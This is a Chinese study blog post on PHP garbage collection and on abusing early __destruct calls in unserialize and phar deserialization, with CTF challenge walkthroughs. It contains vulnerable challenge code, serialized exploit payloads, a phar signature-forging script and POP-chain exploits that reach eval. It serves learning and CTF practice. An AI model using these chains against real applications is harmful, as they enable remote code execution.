PHP GC 回收机制学习
0x01 前言 知识分享所见所得,自己重新再复习一遍加深印象。因为 quan 爷已经整理了一遍,我跟着学即可 知识分享内容地址:https://www.bilibili.com/video/BV16g411s7CH/
0x02 PHP GC 回收机制是什么
在 PHP 中,是拥有垃圾回收机制 Garbage collection 的,也就是我们常说的 GC 机制的,在 PHP 中使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为 NULL ,或者没有任何指针指向时,它就会被变成垃圾,被 GC 机制自动回收掉;那么当一个对象没有了任何引用之后,就会被回收,在回收过程中,就会自动调用对象中的 __destruct()
方法。
上面这一段话我个人认为如果零基础看,会感觉到相当抽象。所以我们先来解读一下
PHP 引用计数 当我们 PHP 创建一个变量时,这个变量会被存储在一个名为 zval 的变量容器中。在这个 zval 变量容器中,不仅包含变量的类型和值,还包含两个字节的额外信息。
第一个字节名为 is_ref
,是 bool 值,它用来标识这个变量是否是属于引用集合。PHP 引擎通过这个字节来区分普通变量和引用变量,由于 PHP 允许用户使用 &
来使用自定义引用,zval 变量容器中还有一个内部引用计数机制,来优化内存使用。
第二个字节是 refcount
,它用来表示指向 zval 变量容器的变量个数。所有的符号存储在一个符号表中,其中每个符号都有作用域。
看接下来的这个例子
1 2 3 4 <?php $a = "new string" ; xdebug_debug_zval ('a' ); ?>
我们可以看到这里定义了一个变量 $a
,生成了类型为 String 和值为 new string
的变量容器,而对于两个额外的字节,is_ref
和 refcount
,我们这里可以看到是不存在引用的,所以 is_ref
的值应该是 false,而 refcount
是表示变量个数的,那么这里就应该是1,接下来我们验证一下。
接下来我们添加一个引用
1 2 3 4 5 6 <?php <?php $a ="new string" ; $b =&$a ;xdebug_debug_zval ('a' );?>
按照之前的思路,每生成一个变量就有一个 zval 记录其类型和值以及两个额外字节,那我们这里的话 a 的 refcount
应该是 1,is_ref
应该是 true,接下来我们验证一下
哎,结果不同于我们所想的,这是为什么呢? 因为同一变量容器被变量 a 和变量 b 关联,当没必要时,php 不会去复制已生成的变量容器。 所以这一个 zval
容器存储了 a 和 b 两个变量,就使得 refcount
的值为 2
接下来说一下容器的销毁这个事。 变量容器在 refcount
变成 0 时就被销毁。它这个值是如何减少的呢,当函数执行结束或者对变量调用了 unset()
函数,refcount 就会减 1。
看个例子
1 2 3 4 5 6 7 8 <?php $a ="new string" ; $b =&$a ;$c =&$b ;xdebug_debug_zval ('a' );unset ($b ,$c );xdebug_debug_zval ('a' );?>
按照刚刚所说,那么这里的首次输出的 is_ref
应该是 true,refcount 为 3。 第二次输出的 is_ref
值是什么呢,我们可以看到引用 $a
的变量 $b
和 $c
都被 unset 了,所以这里的 is_ref
应该是 false,也是因为 unset,这里的 refcount
应该从 3 变成了 1,接下来验证一下
0x03 PHP GC 回收机制攻击面
原理:当 is_ref
减少时,会触发 __destuct
魔术方法,由此产生的一些 trick 类型攻击
PHP 反序列化中的 PHP GC 利用 这里的思路是,通过某些手段触发 PHP GC,这些手段都是基于 is_ref
被修改时发起的攻击。
unset 直接取消引用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php highlight_file (__FILE__ ); error_reporting (0 ); class test { public $num ; public function __construct ($num ) { $this ->num = $num ; echo $this ->num."__construct" ."</br>" ; } public function __destruct ( ) { echo $this ->num."__destruct()" ."</br>" ; } } $a = new test (1 ); unset ($a );$b = new test (2 ); $c = new test (3 );
可以看到通过 unset()
方法主动取消引用,可以直接调用 __destruct
魔术方法。
反序列化当中取消引用 可以通过 unset()
方法直接做引用的取消,但是一般这种情况都是不可控的,更合理的方式是修改在反序列化当中的值。
这种利用方式是这样的:比如在一个 array 里面存在一个键值对,value 为某个类,当这个类为 NULL 的时候,会被认为是 is_ref
为 0,也就是 false。这就可以触发到 __destruct
方法
照例还是结合代码讲,比如下面这一道题目,我需要去触发 __destruct
魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php show_source (__FILE__ );$flag = "flag" ;class B { function __destruct ( ) { global $flag ; echo $flag ; } } $a = unserialize ($_GET ['payload' ]);throw new Exception ('输入失败' );?>
如果按照正常的反序列化思路,是没有办法去触发 __destruct
的,这里就用到了我们的 PHP GC 机制,通过把 is_ref
修改为 false,让它触发 __destruct
PoC:
1 2 3 4 5 6 7 8 9 10 11 12 <?php show_source (__FILE__ );class B { function __destruct ( ) { global $flag ; echo $flag ; } } $a =array (new B,0 );echo serialize ($a );
得到序列化文本如下
1 2 3 a:2 :{i:0 ;O:1 :"B" :0 :{}i:1 ;i:0 ;} 对象类型:长度:{类型:长度;类型:长度:类名:值类型:长度;类型:长度;} 数组:长度为2 ::{int 型:长度0 ;类:长度为1 :类名为"B" :值为0 int 型:值为1 :int 型;值为0
此处对于序列化的字符串,我们先解析看一看,a 当中放了对象 B,目前 B 是有 is_ref
的,is_ref
指向了 array,所以这里我们将 is_ref
修改为 false 即可。
如下
1 a:2 :{i:0 ;O:1 :"B" :0 :{}i:0 ;i:0 ;}
验证成功!
GC 在 Phar 反序列化中的利用 差不多的原理,phar 反序列化比直接的反序列化多了签名,所以需要后续用 010 来修改一些内容,直接看例子
1 2 3 4 5 6 7 8 9 10 11 12 <?php highlight_file (__FILE__ ); class Test { public $code ; public function __destruct ( ) { eval ($this -> code); } } $filename = $_GET ['filename' ]; echo file_get_contents ($filename ); throw new Error ("Garbage collection" ); ?>
看到 file_get_contents
函数和类,就想到 Phar 反序列化,所以接下来尝试借助 file_get_contents
方法来进行反序列化(因为这里只是本地测试一下,所以不再设置文件上传那些,直接将生成的 Phar 文件放置本地进行利用了)。
构造 EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class test { public $code = "phpinfo();" ; } $a = new test ();$c = array ($a ,0 ); $b = new Phar ('1.phar' ,0 );$b ->startBuffering ();$b ->setMetadata ($c );$b ->setStub ("<?php __HALT_COMPILER();?>" );$b ->addFromString ("test.txt" ,"test" );$b ->stopBuffering ();?>
注:需要去检查一下 php.ini
中的 phar.readonly
选项,如果是 On,需要修改为 Off。否则会报错,无法生成 phar
文件
在生成 .phar 文件之后,用 010 打开,将里面序列化的字符串进行手动修改
可以发现i:1
,按照我们之前的思路,我们这里将i:1
修改成i:0
就可以绕过抛出异常,但在Phar文件中,我们是不能任意修改数据的,否则就会因为签名错误而导致文件出错,不过签名是可以进行伪造的,所以我们先将1.phar
中的i:1
修改为i:0
,接下来利用脚本使得签名正确。
1 2 3 4 5 6 7 8 import gzipfrom hashlib import sha1with open ('D:\\phpStudy\\PHPTutorial\\WWW\html\\1.phar' , 'rb' ) as file: f = file.read() s = f[:-28 ] h = f[-8 :] newf = s + sha1(s).digest() + h open ("2.phar" ,"wb" ).write(newf)
打开2.phar文件查看一下
变成 i:0
且文件正常,接下来利用 phar 伪协议包含这个文件
0x04 实战例题 Demo 这是队内的师傅分享的题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ ); error_reporting (0 ); class cg0 { public $num ; public function __destruct ( ) { echo $this ->num."hello __destruct" ; } } class cg1 { public $string ; public function __toString ( ) { echo "hello __toString" ; $this ->string ->flag (); } } class cg2 { public $cmd ; public function flag ( ) { echo "hello __flag()" ; eval ($this ->cmd); } } $a =unserialize ($_GET ['code' ]); throw new Exception ("Garbage collection" ); ?>
这道题的思路比较简单
1、首先调用 __destrcut,然后通过 num 参数触发__tostring 2、给string参数赋值,调用cg2的flag方法 3、给cmd参数赋值,实现RCE
但我们会发现这里首先要用到的就是__destruct
,而代码末尾带有throw new Exception("Garbage collection");
,即异常抛出,所以我们首先需要解决的就是如何绕过他,上文在讲GC中的PHP反序列化时
,demo已经给出了方法,即先传值给数组,而后将第二个索引置空即可,因此我们这里按照平常思路,先构造出payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file (__FILE__ ); error_reporting (0 ); class cg0 { public $num ; } class cg1 { public $string ; } class cg2 { public $cmd ; } $a = new cg0 ();$a ->num=new cg1 ();$a ->num->string =new cg2 ();$a ->num->string ->cmd="phpinfo();" ;$b =array ($a ,0 );echo serialize ($b );
得到
1 a:2 :{i:0 ;O:3 :"cg0" :1 :{s:3 :"num" ;O:3 :"cg1" :1 :{s:6 :"string" ;O:3 :"cg2" :1 :{s:3 :"cmd" ;s:10 :"phpinfo();" ;}}}i:1 ;i:0 ;}
将i:1
修改为i:0
1 a:2 :{i:0 ;O:3 :"cg0" :1 :{s:3 :"num" ;O:3 :"cg1" :1 :{s:6 :"string" ;O:3 :"cg2" :1 :{s:3 :"cmd" ;s:10 :"phpinfo();" ;}}}i:0 ;i:0 ;}
CTFShow 卷王杯 easy unserialize 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <?php include ("./HappyYear.php" );class one { public $object ; public function MeMeMe ( ) { array_walk ($this , function($fn , $prev ){ if ($fn [0 ] === "Happy_func" && $prev === "year_parm" ) { global $talk ; echo "$talk " ."</br>" ; global $flag ; echo $flag ; } }); } public function __destruct ( ) { @$this ->object ->add (); } public function __toString ( ) { return $this ->object ->string ; } } class second { protected $filename ; protected function addMe ( ) { return "Wow you have sovled" .$this ->filename; } public function __call ($func , $args ) { call_user_func ([$this , $func ."Me" ], $args ); } } class third { private $string ; public function __construct ($string ) { $this ->string = $string ; } public function __get ($name ) { $var = $this ->$name ; $var [$name ](); } } if (isset ($_GET ["ctfshow" ])) { $a =unserialize ($_GET ['ctfshow' ]); throw new Exception ("高一新生报道" ); } else { highlight_file (__FILE__ ); }
简单梳理一下思路,触发MeMeMe
方法为最终目标,以_destruct
为起点,绕过抛出异常的方式同之前即可 接下来看一下它的大致流程 首先触发_destruct
,那这里的add()
无疑是让我们触发_call
魔法方法,因此接下来到_call
这里,发现这里拼接了Me
,那它肯定就指向了addMe()
这个方法,接下来看到$this->filename
,想到触发_toString
魔术方法,接下来根进_toString
方法,发现object->string
,那么这个的话就是触发_get
方法了,因此接着看get()
魔术方法,这个时候就有一个问题,怎么通过$var[$name]();
来进入one类的MeMeMe
方法,我们这里可以控制$var
的值,当给它传值为数组,内容为类和方法时,就可成功触发类中的方法,所以我们这里给$var
赋值为[new one(),MeMeMe]
即可,此时还有一个问题,就是这个MeMeMe
中的function($fn, $prev)
如何理解,接下来我们本地测试一下
发现这个$fn
是变量值,而$prev
则是变量名,因此这里我们新增一个变量名为year_parm
,且其值为Happy_func
即可绕过if语句,接下来就可以去写Exp了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 <?php include ("./HappyYear.php" );class one { public $year_parm =array ("Happy_func" ); public $object ; public function MeMeMe ( ) { array_walk ($this , function($fn , $prev ){ if ($fn [0 ] === "Happy_func" && $prev === "year_parm" ) { global $talk ; echo "$talk " ."</br>" ; global $flag ; echo $flag ; } }); } public function __destruct ( ) { @$this ->object ->add (); } public function __toString ( ) { return $this ->object ->string ; } } class second { public $filename ; protected function addMe ( ) { return "Wow you have sovled" .$this ->filename; } public function __call ($func , $args ) { call_user_func ([$this , $func ."Me" ], $args ); } } class third { private $string ; public function __construct ($string ) { $this ->string = $string ; } public function __get ($name ) { $var = $this ->$name ; $var [$name ](); } } $a =new one ();$a ->object =new second ();$a ->object ->filename=new one ();$a ->object ->filename->object =new third (array ("string" =>[new one (),"MeMeMe" ]));$b = array ($a ,NULL );echo urlencode (serialize ($b ));得到payload
0x05 小结 实战很重要。